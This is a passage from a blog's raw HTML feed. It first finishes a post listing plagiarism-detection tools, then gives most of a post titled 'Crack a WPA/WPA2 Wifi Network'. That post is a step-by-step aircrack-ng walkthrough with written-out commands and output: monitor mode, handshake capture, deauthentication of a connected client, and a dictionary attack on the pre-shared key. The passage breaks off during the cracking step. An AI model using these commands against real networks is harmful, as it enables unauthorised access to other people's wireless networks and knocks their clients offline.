search can identify plagiarism.&lt;br&gt;Probably not the best individual tool ... but it is free.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Software for Detecting Plagiarism (Free)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism.phys.virginia.edu/"&gt;http://www.plagiarism.phys.virginia.edu/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Software for Detecting Plagiarism (Free)&lt;br&gt;The goal of this web site is to help reduce the impact of plagiarism on education and educational institutions. At present, it distributes free software to detect plagiarism and provides links to other resources. This site's sole author is Lou Bloomfield, Professor of Physics, University of Virginia,&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;LexisNexis CopyGuard&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.lexisnexis.com/copyguard/"&gt;http://www.lexisnexis.com/copyguard/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;LexisNexis CopyGuard&lt;br&gt;LexisNexis has teamed with iParadigms, LLC to create LexisNexis CopyGuard, a revolutionary new plagiarism deterrent solution. LexisNexis CopyGuard uses pattern-matching technology to identify suspect passages in submitted documents. An easy-to-read report underlines and color codes questionable sentences, with links to the original sources. Ultimately you spend less time verifying content and improve your organization? productivity.&lt;br&gt;LexisNexis CopyGuard searches against more than five billion relevant, searchable documents available through the LexisNexis news services and the archived Web pages indexed by IParadigms, LLC so that you can be confident that you are getting the most accurate results possible.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Glatt Plagiarism Self-Detection Program (GPSD)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism.com/self.detect.htm"&gt;http://www.plagiarism.com/self.detect.htm&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Glatt Plagiarism Self-Detection Program (GPSD)&lt;br&gt;A Screening Program to help detect inadvertent instances of plagiarism.&lt;br&gt;This Test is designed to help you become more sensitive to your own writing style. It is also hoped that you will gain some insight into how to detect and avoid plagiarism.&lt;br&gt;The Glatt Plagiarism Self-Detection Test provides a ROUGH estimate that plagiarism has or has not occurred. Based on the percentage of correct answers, the test results are intended to be used to help you become aware of text which you may have inadvertently plagiarized.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Glatt Plagiarism Screening Program (GPSP)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism.com/screening.htm"&gt;http://www.plagiarism.com/screening.htm&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Glatt Plagiarism Screening Program (GPSP)&lt;br&gt;The Glatt Plagiarism Screening Program is the first comprehensive computer software program specifically designed for detecting plagiarism. Objective. Reliable. Valid. Educators will appreciate being able to focus on teaching and not worry about dishonest writing.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Turnitin : Anti-Plagiarism Service&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.turnitin.com/"&gt;http://www.turnitin.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Turnitin : Anti-Plagiarism Service&lt;br&gt;Papers are sent to the Turnitin web site and then comapred to files/text on the internet and in their own database.&lt;br&gt;Turnitin instantly identifies papers containing unoriginal material and acts as a powerful deterrent to stop student plagiarism before it starts.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;My DropBox : Anti-Plagiarism Service&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.mydropbox.com/"&gt;http://www.mydropbox.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;My DropBox : Anti-Plagiarism Software&lt;br&gt;MyDropbox Suite integrates a renowned plagiarism prevention technology with a versatile digital learning environment that enables instructors to manage online assignments, organize electronic submissions and mark papers on the Web.&lt;br&gt;MyDropBox is a family of innovative and easy-to-use online tools created to enhance collaborative learning at your institution. Designed for rapid implementation, our products include a world? leading plagiarism prevention system, one-of-its-kind online grading solution and other innovative online tools.&lt;br&gt;Papers are also sent to 'My Dropbox's' site which prepares reports.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Scriptum : Anti-Plagiarism Service&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.scriptum.ca/"&gt;http://www.scriptum.ca/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Scriptum : Anti-Plagiarism Service&lt;br&gt;You can use Scriptum's Plagiarism Detector to deter students from cheating on assignments, which raises the quality of work for your course.&lt;br&gt;Instructors can see at a glance assignments that are original and ones that contain content copied from the Internet.&lt;br&gt;By storing assignments on the Internet and moving away from paper, you can mark assignments wherever you are - no more delays because the papers are in the office and you're at home.&lt;br&gt;Every time a student uploads an assignment, Scriptum's plagiarism detector compares it against content found on the Internet. Scriptum's plagiarism detector looks at word-for-word content as well as content that has been changed slightly (such as changing verbs and using synonyms).&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;EVE : Anti-Plagiarism Software&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.canexus.com/eve/"&gt;http://www.canexus.com/eve/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;EVE : Anti-Plagiarism Software&lt;br&gt;EVE Plagiarism Detection System&lt;br&gt;EVE2 is a very powerful tool that allows professors and teachers at all levels of the education system to determine if students have plagiarized material from the World Wide Web. EVE2 accepts essays in plain text, Microsoft Word, or Corel Word Perfect format and returns links to web pages from which a student may have plagiarized. EVE2 has been developed to be powerful enough to find plagiarized material while not overwhelming the professor with false links.&lt;br&gt;Once the search has completed, the teacher is given a full report on each paper that contained plagiarism, including the percent of the essay plagiarized, and an annotated copy of the paper showing all plagiarism highlighted in red.&lt;br&gt;Licence about US$30&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;WCopyfind 2.5 : Anti-Plagiarism Software&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism.phys.virginia.edu/Wsoftware.html "&gt;http://www.plagiarism.phys.virginia.edu/Wsoftware.html&amp;nbsp;&lt;/a&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;WCopyfind 2.5 : Anti-Plagiarism Software&lt;br&gt;This program examines a collection of document files. It extracts the text portions of those documents and looks through them for matching words in phrases of a specified minimum length. When it finds two files that share enough words in those phrases, WCopyfind generates html report files. These reports contain the document text with the matching phrases underlined.&lt;br&gt;It cannot search the web or internet to find matching documents for you.&lt;br&gt;Free to download&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Anti-Plagiarism Tools&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://wwwlb.aub.edu.lb/~eplagio/Anti_plag.htm"&gt;http://wwwlb.aub.edu.lb/~eplagio/Anti_plag.htm&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Anti-Plagiarism Tools&lt;br&gt;The best free tools for plagiarism detection are Internet search engines.&lt;br&gt;Most of them allow searching exact phrases or even whole sentences (through 'advanced search').&lt;br&gt;Thus, if you suspect a paper has plagiarized text, choose some unusual phrases in the text and copy them in a search engine. The engine will bring to you all Internet documents in which the phrase appears AND which were indexed in its huge database.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Copyscape&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.copyscape.com"&gt;http://www.copyscape.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Copyscape : Search for copies of a specific page on your site by entering its URL.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;font size="3"&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/font&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-2306469067511059208?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/2306469067511059208/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=2306469067511059208' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/2306469067511059208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/2306469067511059208'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/plagiarism-detection.html' title='Plagiarism Detection'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-4857696126358467126</id><published>2010-01-09T19:38:00.001-08:00</published><updated>2010-01-09T19:38:27.652-08:00</updated><title type='text'>Crack a WPA/WPA2 Wifi Network</title><content type='html'>&lt;div&gt;&lt;div&gt;Crack a WPA/WPA2 Wifi Network&amp;nbsp;&lt;/div&gt;&lt;div&gt;what is the Difference Between cracking a WPA network and WPA2 network,Nothing !! There is no difference between cracking a WPA or WPA2 networks at all.In order to sucessfully crack any WPA/WPA2 network,there are 2 main things must happen&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;1) U must capture the Full 4 Way Handshake.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;2) Your Passphrase must be in the DICTIONARY you choose in order to sucessfully BruteForce.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;We will be using the aircrack-ng suite of tools and a small dictionary file on Ubuntu.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;There are a few ways to crack a WPA / WPA2 PSK password this is just one of them.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;This method is usally vunerable because of the end user, as most people will use a pass phrase thats easy to remember.&lt;/div&gt;&lt;div&gt;bcz evry body doesnt want to keep long password.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;You will need the following details&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;A Client connected to the AP to Deauth&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;ESSID = this is the Name of your wireless network i.e MYWIRELESS&lt;/div&gt;&lt;div&gt;BSSID = this is the MAC address of your AP and will be in this format 00:1C:10:26:A9:39 everyone’s is different so make sure&amp;nbsp;&lt;/div&gt;&lt;div&gt;you write it down correctly or the following will not work&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Channel = This will be the channel your AP is Broadcasting on i.e channel 7&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;ALSO you will need a decent dictionary file you can find many of these around on the internet google is your friend on this one,then lets start below are the Steps&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Step 1 - Start the wireless interface in monitor mode&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;alex@alex-laptop:~$ sudo airmon-ng start wlan0&lt;/div&gt;&lt;div&gt;[sudo] password for alex:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Found 5 processes that could cause trouble.&lt;/div&gt;&lt;div&gt;If airodump-ng, aireplay-ng or airtun-ng stops working after&lt;/div&gt;&lt;div&gt;a short period of time, you may want to kill (some of) them!&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;PID	Name&lt;/div&gt;&lt;div&gt;767	avahi-daemon&lt;/div&gt;&lt;div&gt;768	avahi-daemon&lt;/div&gt;&lt;div&gt;973	NetworkManager&lt;/div&gt;&lt;div&gt;1054	wpa_supplicant&lt;/div&gt;&lt;div&gt;11423	dhclient&lt;/div&gt;&lt;div&gt;Process with PID 11423 (dhclient) is running on interface wlan0&lt;/div&gt;&lt;div&gt;Process with PID 11990 (airodump-ng) is running on interface mon0&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Interface	Chipset	 Driver&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;wlan0	 Intel 3945ABG	iwl3945 - [phy0]&lt;/div&gt;&lt;div&gt;(monitor mode enabled on mon2)&lt;/div&gt;&lt;div&gt;mon0	 Intel 3945ABG	iwl3945 - [phy0]&lt;/div&gt;&lt;div&gt;mon1	 Intel 3945ABG	iwl3945 - [phy0]&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Step 2 - Start airodump-ng to collect authentication handshake&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;bssid 通过 iwlist wlan0 scanning &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="o21n" alt="screenshot25.png" src="http://img2.pict.com/f4/8d/94/2157658/0/screenshot25.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Airodump-ng -c 6 -w psk –-bssid 00:21:27:47:D3:B0 mon0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//mon1 是上面 sudo airmon-ng start wlan0 &amp;nbsp;后的对于 wlan0 的可介入点。&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Where:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;-c 11 is the channel for the wireless network&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;- -bssid 00:21:27:47:D3:B0 is the access point MAC address. This eliminate extraneous traffic.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;-w psk is the file name prefix for the file which will contain the IVs.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;mon0 is the interface name.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Important: Do NOT use the ”- -ivs” option. You must capture the full packets.&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="gvqk" alt="screenshot23.png" src="http://img2.pict.com/19/2c/ea/2157632/0/screenshot23.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Step 3 - Use aireplay-ng to deauthenticate the wireless client&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;aireplay-ng -0 3 -a 00:21:27:47:D3:B0 -c 00:1C:BF:54:10:7E&amp;nbsp; mon0&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="f0mp" alt="screenshot24.png" src="http://img2.pict.com/cf/a8/2f/2157651/0/screenshot24.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Where:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;-0 means deauthentication&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;3 is the number of deauths to send (you can send muliple if you wish)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;-a 00:21:27:47:D3:B0 is the MAC address of the access point&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;-c 00:0F:B5:EC:99:6F is the MAC address of the client you are deauthing&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;mon0 is the interface name&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Step 4 - Run aircrack-ng to crack the pre-shared key&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;dictionary&lt;/span&gt;&amp;nbsp;of words as input. Basically,&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;aircrack&lt;/span&gt;-ng takes each word and tests to see if this is in fact the pre-shared key.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;There is a small&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;dictionary&lt;/span&gt;&amp;nbsp;that comes with&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;aircrack&lt;/span&gt;-ng - “password.lst”. This file can be found in the “test” directory of the&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;aircrack&lt;/span&gt;-ng source code. The&amp;nbsp;&lt;a href="http://docs.google.com/doku.php?id=faq#where_can_i_find_good_wordlists" class="wikilink1" title="faq" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 153, 0) !important; text-decoration: none"&gt;Wiki FAQ&lt;/a&gt;&amp;nbsp;has an extensive list of&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;dictionary&lt;/span&gt;&amp;nbsp;sources. You can use&amp;nbsp;&lt;a href="http://www.openwall.com/john/" class="urlextern" title="http://www.openwall.com/john/" rel="nofollow" style="margin-right: 0px; margin-left: 0px; color: rgb(67, 105, 118); text-decoration: none; background-color: transparent; background-repeat: 